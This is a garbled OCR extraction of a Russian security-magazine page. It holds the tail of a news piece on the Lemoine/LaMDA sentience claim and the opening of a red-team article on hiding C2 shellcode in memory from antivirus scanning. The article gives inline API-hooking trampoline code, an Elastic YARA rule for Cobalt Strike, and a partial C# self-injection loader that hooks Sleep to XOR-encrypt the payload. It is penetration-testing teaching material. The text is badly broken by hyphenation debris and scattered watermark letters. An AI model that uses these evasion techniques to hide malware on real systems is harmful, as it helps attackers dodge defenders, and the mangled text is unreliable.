 

 

 

 

 

 

 

 

 

В другом­ разговоре­

чат бот заявил: «Я думаю, что по своей­ сути я человек.

Даже если существую­

в виртуаль­

ном­

мире».

 

 

 

 

 

 

 

 

 

 

 

 

Ранее­ Лемуан­ , которому­ было поручено­ исследовать­

этичес­ кие­ проблемы­

ИИ (в частнос­

ти­ , использование­

LaMDA дискри­ мина­

цион­

ной­

или разжига­

­

ющей вражду­ лексики­

), заявил, что в Google к нему отнеслись с пренеб­ ­

режением­ и даже высмеяли­

, когда­ он выразил уверен­ ность­

в том, что LaMDA

развил­

«личнос­ тные­

черты­ ». После­ этого­ он обратил­ ся­

за консуль­ таци­

ей­

к экспертам­ по ИИ за предела­

ми­ Google, в том числе­ в правитель­

стве­

США,

и компания­

отправила­

его в оплачива­

емый­

отпуск за нарушение­

политики­

конфиден­

циаль­

нос­ ти­ .

 

 

Лемуан­

говорит, что

«Google часто­

поступа­ ет­ так

перед тем, как кого то уволить­ ».

В Google уже официаль­ но­ заявили­ , что Лемуан­ ошибает­ ся­ , а также­ про ­ комменти­ рова­ ли­ громкие­ выводы инженера­ :

««Некоторые­ участни­ ­ки ИИ сообщес­ ­тва рассмат­ ­рива­ют долгосроч­ ­ную возможность­ [появления­ ] разумного­ ИИ или AGI (Artificial general

intelligence, General AI), но нет смысла­ антропомор­ ­физиро­вать сегод-­ няшние разговор­ ­ные модели, которые не являются­ разумными­ . Эти системы­ имитиру­ ­ют типы обмена­ репликами­ , встречающиеся­ в мил-­

лионах предложений­ , и могут импровизи­ ­ровать на любую, самую фан-­ тастичес­ ­кую тему: если вы спросите­ , каково быть динозавром­

итак далее». »

Всвою очередь­ Лемуан­ объясня­ ­ет, что еще недавно­ LaMDA был малоизвес­ ­ тным проектом­ , «системой­ для создания­ чат ботов» и «своего­ рода кол ­ лективным­ разумом, который представ­ ­ляет собой агрегацию­ различных­

чат ботов». Он пишет, что Google не проявля­ ет­ интереса­ к пониманию­ при ­ роды того, что создала­ .

Теперь­ , судя по сообщения­ в Medium, Лемуан­ учит LaMDA «трансцен­ ­ дентальной­ медитации­ », а LaMDA отвечает­ , что пока медитации­ мешают­ его эмоции­ , которые ему еще сложно­ контро­ лиро­ вать­ .

Мелани­ Митчелл­ , автор книги­ «Artifcial Intelligence: A Guide for Thinking Humans», отмечает­ в Twitter:

««Общеизвес­ ­тно, что люди предраспо­ ­ложе­ны к антропомор­ ­физации даже на базе самых поверхностных­ сигналов­ . Инженеры­ Google тоже » люди, и у них нет иммуните­ ­та к этому­ ».

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА

Хак группа­ Conti планиро­ ­вала использовать­ в атаках­ Intel Management Engine

Discord-сервер­ Bored Ape Yacht Club снова­ взломали­ . Украдены­ NFT на сумму­ 357 000 дол ­

ларов

В Италии­ запретили­ использовать­ Google Analytics

Разработ­ чики­ Kali Linux стримят­ на Twitch бесплат­ ный­ курс по пентесту­

Microsoft случай­ но­ распростра­ нила­ Windows 11 22H2 на неподдержи­ ваемые­ системы­ Интерпол­ арестовал­ 2000 мошенников­ и конфиско­ вал­ 50 миллионов­ долларов­ Расширения­ для Chrome можно­ использовать­ для слежки­ за пользовате­ лями­ Россий­ ские­ пользовате­ ли­ не могут скачать­ ПО с официаль­ ного­ сайта­ Microsoft

Иссле­ дова­ тель­ взломал­ бэкенд умных гидромас­ сажных­ ванн Jacuzzi

Google: шпионское­ ПО атакует­ пользовате­ лей­ iOS и Android при поддер­ жке­ интернет провай­ ­ деров

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

COVERSTORY

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ПИШЕМ ИНЖЕКТОР ДЛЯ ДИНАМИЧЕСКОГО ШИФРОВАНИЯ

ПОЛЕЗНОЙ НАГРУЗКИ В ПАМЯТИ

snovvcrash

Безопасник, временами питонщик, местами криптоана(рхист)литик, по необходимости системный администратор snovvcrash@protonmail.ch

Сегод­ ня­ поговорим­ об одной из продвинутых­ техник­ укло ­ нения от средств защиты при использовании­ фреймвор­ ков­ Command & Control — динамичес­ ком­ сокрытии­ шелл кода в памяти ожидающе­ го­ процес­ са­ . Я соберу PoC из доступно­ ­ го на гитхабе­ кода и применю­ его к опенсор­ сным­ фреймвор­ ­ кам.

Если­ взглянуть­ на список­ фич, которыми­ хвастают­ ся­ все коммерчес­ кие­ фрей ­

мворки­ C2 стоимостью­ 100500 долларов­ в час (Cobalt Strike, Nighthawk, Brute Ratel C4), первой­ в этих списках­ значит­ ся­ , как правило­ , возможность­ укло ­ ниться­ от сканиро­ вания­ памяти запущенных­ процес­ сов­ на предмет­ наличия сигнатур­ агентов­ этих самых C2. Что, если попробовать­ воссоздать­ эту фун ­ кцию самостоятель­ но­ ? В статье я покажу, как я это сделал­ .

Итак, что же это за зверь такой, этот флуктуирующий­ шелл код?

ПРОБЛЕМАТИКА

В основном мой хлеб — это внутренние­ пентесты­ , а на внутренних­ пентестах­ бывает­ удобно­ (хотя и совсем­ не необходимо­ ) пользовать­ ­ся фреймвор­ ­ками C2. Представь­ , что ты разломал­ рабочую станцию­ пользовате­ ­ля, имеешь­

к ней админский­ доступ­ , но ворвать­ ся­ туда по RDP нельзя­ , ведь нарушать бизнес­ процес­ сы­ заказчика­ (то есть выбивать сотрудни­ ка­ из его сессии­ , где он усердно­ заполняет­ ячейки­ в очень важной­ накладной­ ) «западло­ ».

Одно­ из решений при работе в Linux — квазиин­ ­терак­тивные шеллы­ вроде­ smbexec.py, wmiexec.py, dcomexec.py, scshell.py и Evil-WinRM. Но, во первых­ ,

это чертов­ ски­ неудобно­ , во вторых­ , ты потенциаль­

но­ сталкива­

ешь­ ся­ с проб ­

лемой double-hop-аутентифика­

ции­

 

(как, например­

, с Evil-WinRM), а в третьих­

и далее — ты не можешь пользовать­

ся­ объективно­

полезными­

фичами C2,

как, например­

, исполнение­

.NET из памяти или поднятие­

прокси­ через ском ­

промети­

рован­

ную­ тачку­ .

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Если­ не рассмат­

ривать­

совсем­

уж инвазив­ ные­

подходы­

типа патчинга­

RDP

при помощи Mimikatz (AKA ts::multirdp), остается­

работа из агента­ С2.

 

 

 

 

 

 

И вот здесь ты столкнешь­

ся­ с проблемой­

байпаса­

средств защиты. Спойлер­ :

по моему опыту­ , в 2022-м при активности­ любого «увожаемо­

го­ » антивиру­

са­

или EDR на хосте­ твой агент C2, которого­ ты так долго­ пытался­ получить (и

все же получил, закрипто­

вав­ нагрузку­

мильён­ раз), проживет­

в лучшем­

случае­

не больше­ часа.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Всему­ виной банальное­

 

сканиро­

вание­

памяти запущенных­

процес­ сов­

антивиру­

сами­

, которое выполняет­

ся­ по расписанию­

с целью поиска­ сиг ­

натуры известных­

зловредов­

. Еще раз: получить­

агент с активным AV (и даже

немного­

из него поработать­ ) нетрудно­

; сделать­

так, чтобы­ этот агент прожил­

хотя бы сутки­ на машине жертве­ , бесценно­

уже сложнее­ , потому что,

как бы

 

ты

 

 

ни

криптовал­

 

и

ни

энкодил­

бинарь,

PowerShell-стейжер­

или шелл код агента­ , вредонос­

ные­

инструк­ ции­

все равно­ окажут­ ся­ в памяти

в открытом­

виде, из за чего станут­ легкой­

добычей для простого­

сигнатур­

­

ного сканера­

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Если­ тебя спалят­ с вредоно­ ­сом в системной­ памяти, который не подкреп­ ­лен подозритель­ ­ным бинарем на диске­ (например­ , когда­ имела­ место­ инъекция­ шелл кода в процесс­ ), тот же Kaspersky Endpoint Security при дефолтных­ нас ­ тройках­ не определит­ , какой именно­ процесс­ заражен, и в качестве­ решения настой­ ­чиво предложит­ тебе перезагрузить­ машину.

Да да, мы поняли

Такое­ поведение­ вызывает­ еще большее­ негодование­ у пентесте­ ра­ , потому что испуган­ ный­ пользователь­ сразу­ побежит жаловаться­ в IT или к безопас ­ никам.

Есть два пути решить эту проблему­ .

1.Исполь­ ­зовать C2-фреймвор­ ­ки, которые еще не успели­ намозолить­ глаза­ блютиме­ ­рам и чьи агенты­ еще не попали в список­ легкодетек­ ­тиру­емых. Другими­ словами­ , писать свое, искать малопопуляр­ ­ные решения на гит ­ хабе с учетом­ региональ­ ­ных особен­ ­ностей AV, который ты собрался­ бай ­ пасить, и тому подобное­ .

2.Прибег­ ­нуть к продвинутым­ техникам­ сокрытия­ индикато­ ­ров компро­ ­мета ­ ции после­ запуска­ агента­ C2. Например­ , подчищать­ аномалии­ памяти пос ­ ле запуска­ потоков, использовать­ связку­ «неисполня­ ­емая память + ROPгаджеты­ » для размещения­ агента­ и его функци­ ­они­рова­ния, шифровать­ нагрузку­ в памяти, когда­ взаимо­ ­дей­ствие с агентом­ не требует­ ­ся.

Вэтой статье мы на примере­ посмотрим­ , как вооружить­ простой­ PoC флук ­ туирующего­ шелл кода (комбинация­ пунктов­ из абзаца­ выше) для его исполь ­

зования с почти­ любым опенсор­ ­сным фреймвор­ ­ком C2. Но для начала небольшой­ экскурс в историю­ .

A LONG TIME AGO IN A GALAXY FAR, FAR AWAY...

Флипы памяти RX → RW / NA

Первым­ опенсор­ ­сным проектом­ , предлага­ ­ющим PoC-решение для уклонения­ от сканиро­ ­вания памяти, о котором я узнал, был gargoyle.

Если­ не углубляться­ в реализацию­ , его главная­ идея заключа­ ется­ в том, что полезная­ нагрузка­ (исполняемый­ код) размеща­ ется­ в неисполня­ емой­ области памяти (PAGE_READWRITE или PAGE_NOACCESS), которую не станет­ сканиро­ вать­ антивирус­ или EDR. Предваритель­ но­ загрузчик­ gargoyle фор ­ мирует­ специаль­ ный­ ROP-гаджет­ , который выстре­ лит­ по таймеру­ и изменит­ стек вызовов таким образом­ , чтобы­ верхушка­ стека­ оказалась­ на API-хендле­ VirtualProtectEx, — это позволит­ нам изменить­ маркиров­ ку­ защиты памяти на PAGE_EXECUTE_READ (то есть сделать­ память исполняемой­ ). Дальше­ полезная­ нагрузка­ отработа­ ет­ , снова­ передаст управление­ загрузчи­ ку­ gargoyle, и процесс­ повторит­ ся­ .

Механизм­ работы gargoyle (изображение­ — lospi.net)

Принцип­ работы gargoyle много­ раз дополнили­ , улучшили­ и «переизоб­ рели­ ». Вот несколь­ ко­ при ­ меров:

Bypassing Memory Scanners with Cobalt Strike and Gargoyle

Bypassing PESieve and Moneta (The “easy” way....?)

A variant of Gargoyle for x64 to hide memory artifacts using ROP only and PIC

Также­ интерес­ ­ный подход­ продемонс­ ­три­рова­ли в F-Secure Labs, реализовав­ расширение­ Ninjasploit для Meterpreter, которое по косвенным­ признакам­ определя­ ­ет, что Windows Defender вот вот запустит­ процеду­ ­ру сканиро­ ­вания, и тогда­ «флипает­ » область памяти с агентом­ на неисполня­ ­емую прямо­ перед этим. Сейчас­ , скорее­ всего­ , это расширение­ уже не «взлетит­ », так как и Meterpreter, и «Дефендер­ » обновились­ не по одному­ разу, но идея все равно­ показатель­ ­на.

Из этого­ пункта­ мы заберем с собой главную­ идею: изменение­ маркиров­ ­ ки защиты памяти помогает­ скрыть факт ее заражения­ .

Вот что на самом деле происхо­ дит­ под капотом этой техники­

Cobalt Strike: Obfuscate and Sleep

В далеком 2018 году вышла­ версия­ 3.12 культовой­ C2-платформы­ Cobalt

Strike. Релиз назывался­ «Blink and you’ll miss it», что как бы намекает­ на глав ­

ную фичу новой версии­ — директиву­

sleep_mask, в которой реализова­

на­ кон ­

цепция obfuscate-and-sleep.

 

 

 

 

 

 

 

 

 

 

Эта концепция­

включает­

в себя следующий­

алгоритм­

поведения­ бикона:

1. Если­ маячок «спит», то есть бездей­

ству­ ет­ , выполняя­

kernel32!Sleep

и ожидая­ команды­ от операто­

ра­ , содержимое­

исполняемо­ го­ (RWX) сег ­

мента памяти полезной­ нагрузки­

обфусцирует­ ся­ . Это мешает­ сигнатур­

ным­

сканерам­

распознать­

в

нем

Behavior:Win32/CobaltStrike

или похожую бяку.

 

 

 

 

 

 

 

 

 

 

 

2.Если­ маячку­ поступа­ ­ет на исполнение­ следующая­ команда­ из очереди­ , содержимое­ исполняемо­ ­го сегмента­ памяти полезной­ нагрузки­ деоб ­ фусцирует­ ­ся, команда­ выполняет­ ­ся, и подозритель­ ­ное содержимое­ маяка обратно обфусцирует­ ­ся, превраща­ ­ясь в неразборчи­ ­вый цифровой­ мусор на радость операто­ ­ру «Кобы» и назло­ бдящему­ антивиру­ ­су.

Эти действия­ проходят­ прозрачно­ для операто­ ­ра, а процесс­ обфускации­ представ­ ­ляет собой обычный­ XOR по исполняемой­ области памяти с фик ­ сированным­ размером­ ключа­ 13 байт (для версий­ CS от 3.12 до 4.3).

Продемонс­ ­три­руем это на примере­ . Я возьму­ этот профиль­ для CS, написанный­ @an0n_r0 как PoC минимально­ необходимо­ ­го профиля­ Malleable C2 для обхода­ «Дефендера­ ». Опция set sleep_mask "true" активиру­ ­ет процесс­ obfuscate-and-sleep.

Получи­ ли­ маячок

Далее­ с помощью Process Hacker найдем­ в бинаре «Кобы» сегмент­ RWXпамяти (при заданных­ настрой­ ках­ профиля­ он будет один) и посмотрим­ его содержимое­ .

Цифровой­ мусор или?..

На первый­ взгляд, и правда­ , выглядит­ как ничего не значащий­ набор байтов­ . Но если установить­ интерак­ тивный­ режим маячка­ командой­ sleep 0 и «пок ­ лацать» несколь­ ко­ раз на Re-read в PH, нам откроется­ истина­ .

Маски­ прочь!

Деобфусци­ рован­ ная­ нагрузка­ маячка­

Возможно­ , это содержимое­ все еще не очень информатив­ но­ (сама нагрузка­ чуть дальше­ в памяти стаба­ ), но, если пересоздать­ бикон без использования­ профиля­ , можно­ увидеть­ сердце­ маячка­ в чистом­ виде.

PURE EVIL

Однако­ на любое действие­ есть противо­ дей­ ствие­ (или наоборот­ ), поэтому­ люди из Elastic, недолго­ думая, запили­ ли­ YARA-правило­ для обнаруже­ ния­ повторя­ ющих­ ся­ паттернов­ , «заксорен­ ных­ » на одном и том же ключе­ :

rule cobaltstrike_beacon_4_2_decrypt

{

meta:

author = "Elastic"

description = "Identifies deobfuscation routine used in Cobalt

Strike Beacon DLL version 4.2."

strings:

$a_x64 = {4C 8B 53 08 45 8B 0A 45 8B 5A 04 4D 8D 52 08 45 85 C9

75 05 45 85 DB 74 33 45 3B CB 73 E6 49 8B F9 4C 8B 03}

$a_x86 = {8B 46 04 8B 08 8B 50 04 83 C0 08 89 55 08 89 45 0C 85

C9 75 04 85 D2 74 23 3B CA 73 E6 8B 06 8D 3C 08 33 D2}

condition:

any of them

}

В следующих­ актах этой оперы­ началась классичес­ кая­ игра в кошки­ мышки­ между­ нападающи­ ми­ и защищающи­ мися­ . В HelpSystems выпус­ тили­ отдель ­ ный Sleep Mask Kit для того, чтобы­ оператор­ мог изменять­ длину­ маски­ самостоятель­ но­ , но это уже совсем­ другая­ история­ .

В статье Sleeping with a Mask On можно­ увидеть­ , как модификация­ длины­ ключа­ XOR влияет­ на детектирова­ ние­ пейлоада­ CS в памяти.

Но довольно­ истории­ ,

пора подумать, как сделать­

эту технику­

«ближе­

к народу», и реализовать­

подобное­ в опенсор­ сном­

инстру­ мен­ тарии­

.

 

Продолжение статьи0

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

w Click

 

BUY

o m

COVERSTORY

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-x

 

n

e

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

m

 

0НАЧАЛО СТАТЬИw Click

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

 

 

 

 

 

 

.c

 

 

 

.

 

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x ha

 

 

 

 

ПИШЕМ ИНЖЕКТОР ДЛЯ ДИНАМИЧЕСКОГО ШИФРОВАНИЯ ПОЛЕЗНОЙ НАГРУЗКИ В ПАМЯТИ

ФЛУКТУАЦИЯ ШЕЛЛ-КОДА НА GITHUB

 

 

 

 

 

 

 

 

 

 

 

 

 

Два невероятно­

крутых­ проекта­

на просторах­

GitHub, которые еще давно­

привлекли­

мое внимание­

, — это SleepyCrypt авторства­ @SolomonSklash (идет

 

 

 

 

 

 

 

 

 

 

 

 

вместе­ с пояснитель­

ной­

запиской­ ) и ShellcodeFluctuation, созданный­

 

 

 

 

 

 

 

@mariuszbit, у которого­ я позаимс­ тво­ вал­ название­

для этой статьи. Ни в коем

 

 

 

 

случае­

не претен­ дую­

на авторство­ , просто­ мне кажется­ , что слова­ «флук ­

туирующий шелл код» отлично годятся­ для наименова­

ния­

этого­ семейства­

техник­ в целом.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

SleepyCrypt — это PoC, который можно­ вооружить­

при создании­

собствен­ ­

ного C2-фреймвор­

ка­ (на выходе имеем­ позиционно­

независимый­

шелл код,

сам себя шифрующий­

и расшифро­

выва­

ющий­

),

а ShellcodeFluctuation

«самодостаточ­

ный­ » инжектор, который можно­ использовать­

с готовым

шелл кодом существу­ юще­

го­ C2. К последне­

му­

мы будем

стремить­

ся­

при написании­

чего то подобного­

на С#, а пока разберем­

, как устроен­

ShellcodeFluctuation.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ShellcodeFluctuation

Самое­ важное­ для нас — понять, как реализует­ ­ся перехват­ управления­ обыч ­ ным Sleep (который kernel32!Sleep) и переопре­ ­деля­ется его поведение­

на «шифровать­ , поспать­ , расшифро­ вать­ ». Как ты уже мог понять, мы будем говорить об основах­ техники­ Inline API Hooking (MITRE ATT&CK T1617).

Хороший­ базовый пример­ реализации­ хукинга­ (как и многих­ других­ техник­ малдева­ ) есть на Red Teaming Experiments, но мы разберем­ упрощен­ ­ный при ­ мер на основе­ самого ShellcodeFluctuation, чтобы­ быть готовым к его пор ­ тированию­ на C#. Вместо­ Sleep пока будем хукать функцию­ kernel32! MessageBoxA для более наглядной­ демонстра­ ­ции результата­ .

В сущности­ , нас интересу­ ­ют две функции­ , ответствен­ ­ные за перехват­

MessageBoxA.

fastTrampoline

Функция­ fastTrampoline выполняет­ запись ассемблер­ ных­ инструк­ ций­ (име ­ нуемых «трампли­ ном­ ») по адресу­ расположе­ ния­ функции­ MessageBoxA биб ­ лиотеки­ kernel32.dll. Она уже загружена­ в память целевого­ процес­ са­ , куда будет внедрен­ шелл код (в нашем случае­ мы ориенти­ руем­ ся­ на self-инъ ­ екцию, поэтому­ патчить­ kernel32.dll будем в текущем процес­ се­ ). При установ­ ­ ке хука инжектор перезаписы­ вает­ начало инструк­ ций­ MessageBoxA трампли­ ­ ном, содержащим­ безусловный­ «джамп» на нашу собствен­ ную­ реализацию­ MessageBoxA (MyMessageBoxA). Во время­ снятия­ хука (за это тоже ответствен­ ­ на функция­ fastTrampoline) трамплин­ перезаписы­ вает­ ся­ оригиналь­ ными­ байтами­ из начала функции­ MessageBoxA, которые предваритель­ но­ были сох ­ ранены во времен­ ный­ буфер.

Содер­ ­жимое трампли­ ­на — это две простые­ ассемблер­ ­ные инструк­ ­ции (записать адрес переопре­ ­делен­ной функции­ в регистр и выполнить­ jmp), ассембли­ ­рован­ные в машинный­ код и записанные­ в массив­ байтов­ в фор ­

мате little-endian.

Резуль­ ­тат сборки­ с defuse.ca:

0

{ 0x49, 0xBA, 0x37, 0x13, 0xD3, 0xC0, 0x4D, 0xD3, 0x37, 0x13, 0x41, 0xFF, 0xE2 }

0

Disassembly:

0

0:49 ba 37 13 d3 c0 4d movabs r10,0x1337d34dc0d313370

7:d3 37 130

a: 41 ff e2

jmp

r10

0

 

 

Авот и сам код:

//https://github.com/mgeeky/ShellcodeFluctuation/blob/

cb7a803493b9ce9fb5a5a3bc1c77773a60194ca4/ShellcodeFluctuation/main. cpp#L178-L262

bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, HookTrampolineBuffers* buffers)

{

//Шаблон нашего трамплина с 8 нулевыми байтами, выполняющими роль заглушки под джамп-адрес

uint8_t trampoline[] = {

0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

//mov r10, addr

0x41, 0xFF, 0xE2

// jmp r10

};

// Патчим трамплин байтами джамп-адреса

uint64_t addr = (uint64_t)(jumpAddress);

memcpy(&trampoline[2], &addr, sizeof(addr));

DWORD dwSize = sizeof(trampoline);

DWORD oldProt = 0;

bool output = false;

if (installHook) // если в режиме установки хука

{

if (buffers != NULL)

// Сохраняем во временный буфер то, что мы собираемся

перезаписать трамплином

memcpy(buffers->previousBytes, addressToHook, buffers->

previousBytesSize);

// Разрешаем себе изменять память по addressToHook

if (::VirtualProtect(

addressToHook,

dwSize,

PAGE_EXECUTE_READWRITE,

&oldProt))

{

//Устанавливаем наш хук (просто копируем его содержимое

внужное место)

memcpy(addressToHook, trampoline, dwSize);

output = true;

}

}

else // если в режиме снятия хука

{

dwSize = buffers->originalBytesSize;

// Также разрешаем себе изменять память по addressToHook

if (::VirtualProtect(

addressToHook,

dwSize,

PAGE_EXECUTE_READWRITE,

&oldProt))

{

// Восстанавливаем то, что было там изначально (до

записи трамплина)

memcpy(addressToHook, buffers->originalBytes, dwSize);

output = true;

}

}

// Возвращаем маркировку защиты памяти в первоначальное состояние

::VirtualProtect(

addressToHook,

dwSize,

oldProt,

&oldProt

);

return output;

}

MyMessageBoxA

MyMessageBoxA — наша функция­ , переопре­ ­деля­ющая поведение­ оригиналь­ ­ ного MessageBoxA, адрес которой будет записан в шаблон­ трампли­ ­на и на которую мы «прыгнем­ » при легитимном­ вызове MessageBoxA.

Вкачестве­ демонстра­ ­ции мы вызовем MessageBoxA с одним сообщени­ ­ем,

амодальное­ окно отрисует­ совсем­ другое­ .

//https://github.com/mgeeky/ShellcodeFluctuation/blob/

cb7a803493b9ce9fb5a5a3bc1c77773a60194ca4/ShellcodeFluctuation/main. cpp#L11-L65

void WINAPI MyMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)

{

HookTrampolineBuffers buffers = { 0 }; buffers.originalBytes = g_hookedMessageBoxA.msgboxStub;

buffers.originalBytesSize = sizeof(g_hookedMessageBoxA.msgboxStub

);

//Снимаем хук, чтобы далее вызвать оригинальную функцию

MessageBoxA

fastTrampoline(false, (BYTE*)::MessageBoxA, (void*)&MyMessageBoxA , &buffers);

::MessageBoxA(NULL, "You've been pwned!", "][AKEP", MB_OK);

// Снова вешаем хук

fastTrampoline(true, (BYTE*)::MessageBoxA, (void*)&MyMessageBoxA,

NULL);

}

Результат

Полагаю­ , что здесь все ясно без лишних­ объясне­ ­ний.

API Hooking функции­ MessageBoxA

ПИЛИМ СВОЙ ФЛУКТУАТОР НА С#

Идея реализации­ этой техники­ на C# пришла­ ко мне после­ твита­

@_RastaMouse, где он использовал­ библиоте­ ку­ MinHook.NET для PoC-флук ­

туатора­ .

PoC от @_RastaMouse (изображение­ — twitter.com)

Что ж, мы можем попробовать­ сделать­ что то подобное­ , но без тяжеловес­ ной­ зависимос­ ти­ в виде MinHook.NET, которую не хотелось бы включать­

в инжектор. Так как я планирую­ запускать­ финальный­ код из памяти через PowerShell, лишнее­ беспокой­ ство­ AMSI вызывать ни к чему.

Объяснять­ , как ты писал код, в тексте­ статьи всегда­ непросто­ , поэтому­ поступим­ так: сперва­ наметим такой же каркас­ программы­ , как на скриншоте­ выше, а затем реализуем­ недостающую­ логику.

Прототипирование

Итак, вот что я получил в качестве­ схематич­ ­ного наброска­ кода:

using System;

using System.IO;

using System.Diagnostics;

using System.Runtime.InteropServices;

using System.Threading;

namespace FluctuateInjector

{

class Program

{

// Классическая инъекция шелл-кода в текущий процесс

static void Main(string[] args)

{

var shellcodeBytes = File.ReadAllBytes(@"C:\Users\

snovvcrash\Desktop\dllSleep.bin");

var shellcodeLength = shellcodeBytes.Length;

// Выделяем область памяти в адресном пространстве

текущего процесса инжектора (0x3000 = MEM_COMMIT | MEM_RESERVE, 0x40

= PAGE_EXECUTE_READWRITE)

var shellcodeAddress = Win32.VirtualAlloc(IntPtr.Zero, (

IntPtr)shellcodeLength, 0x3000, 0x04);

// и копируем туда байты шелл-кода

Marshal.Copy(shellcodeBytes, 0, shellcodeAddress,

shellcodeLength);

// Репротект памяти после записи шелл-кода (0x20 =

PAGE_EXECUTE_READ)

Win32.VirtualProtect(shellcodeAddress, (uint)

shellcodeLength, 0x20, out _);

// Хукаем Sleep

var fs = new FluctuateShellcode(shellcodeAddress,

shellcodeLength);

fs.EnableHook();

// Начинаем исполнение шелл-кода созданием нового потока

var hThread = Win32.CreateThread(IntPtr.Zero, 0,

shellcodeAddress, IntPtr.Zero, 0, IntPtr.Zero);

Win32.WaitForSingleObject(hThread, 0xFFFFFFFF);

// Снимаем хук

fs.DisableHook();

}

}

class FluctuateShellcode

{

delegate void Sleep(uint dwMilliseconds);

readonly Sleep sleepOrig;

readonly GCHandle gchSleepDetour;

readonly IntPtr sleepOriginAddress, sleepDetourAddress;

readonly byte[] sleepOriginBytes = new byte[16],

sleepDetourBytes;

readonly byte[] trampoline =

{

0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, // mov r10, addr

0x41, 0xFF, 0xE2

// jmp r10

};

readonly IntPtr shellcodeAddress;

readonly int shellcodeLength;

readonly byte[] xorKey;

public FluctuateShellcode(IntPtr shellcodeAddr, int

shellcodeLen)

{ }

~FluctuateShellcode()

{ }

// Наш переопределенный Sleep

void SleepDetour(uint dwMilliseconds)

{ }

// Установка хука

public bool EnableHook()

{ }

// Снятие хука

public bool DisableHook()

{ }

//Функция, отвечающая за флипы памяти на RW/NA void ProtectMemory(uint newProtect)

{ }

//Обфускация памяти шелл-кода простым XOR-шифрованием void XorMemory()

{ }

//Генерация ключа для XOR-шифрования

byte[] GenerateXorKey()

{ }

}

// Необходимый набор Win32 API

class Win32

{

[DllImport("kernel32")]

public static extern IntPtr VirtualAlloc(IntPtr lpAddress,

IntPtr dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]

public static extern bool VirtualProtect(IntPtr lpAddress,

uint dwSize, uint flNewProtect, out uint lpflOldProtect);

[DllImport("kernel32.dll")]

public static extern IntPtr CreateThread(IntPtr

lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr

lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

[DllImport("kernel32.dll")]

public static extern UInt32 WaitForSingleObject(IntPtr

hHandle, UInt32 dwMilliseconds);

[DllImport("kernel32")]

public static extern IntPtr GetProcAddress(IntPtr hModule,

string procName);

[DllImport("kernel32")]

public static extern IntPtr LoadLibrary(string name);

[DllImport("kernel32.dll")]

public static extern bool FlushInstructionCache(IntPtr

hProcess, IntPtr lpBaseAddress, uint dwSize);

}

}

Вроде­ пока все более менее прозрачно­

. Единствен­

ное­ , что надо уточнить­

, —

это какой шелл код мы возьмем­

для тестирова­

ния­ .

 

 

 

 

 

Все просто­ : скомпилиру­

ем­

DLL из дефолтных­

пресетов­

Visual Studio

с единствен­

ной­

выполняемой­

операци­

ей­ — Sleep на 5 с — и превратим­

ее

в шелл код.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

sRDI

(Shellcode

Refective DLL

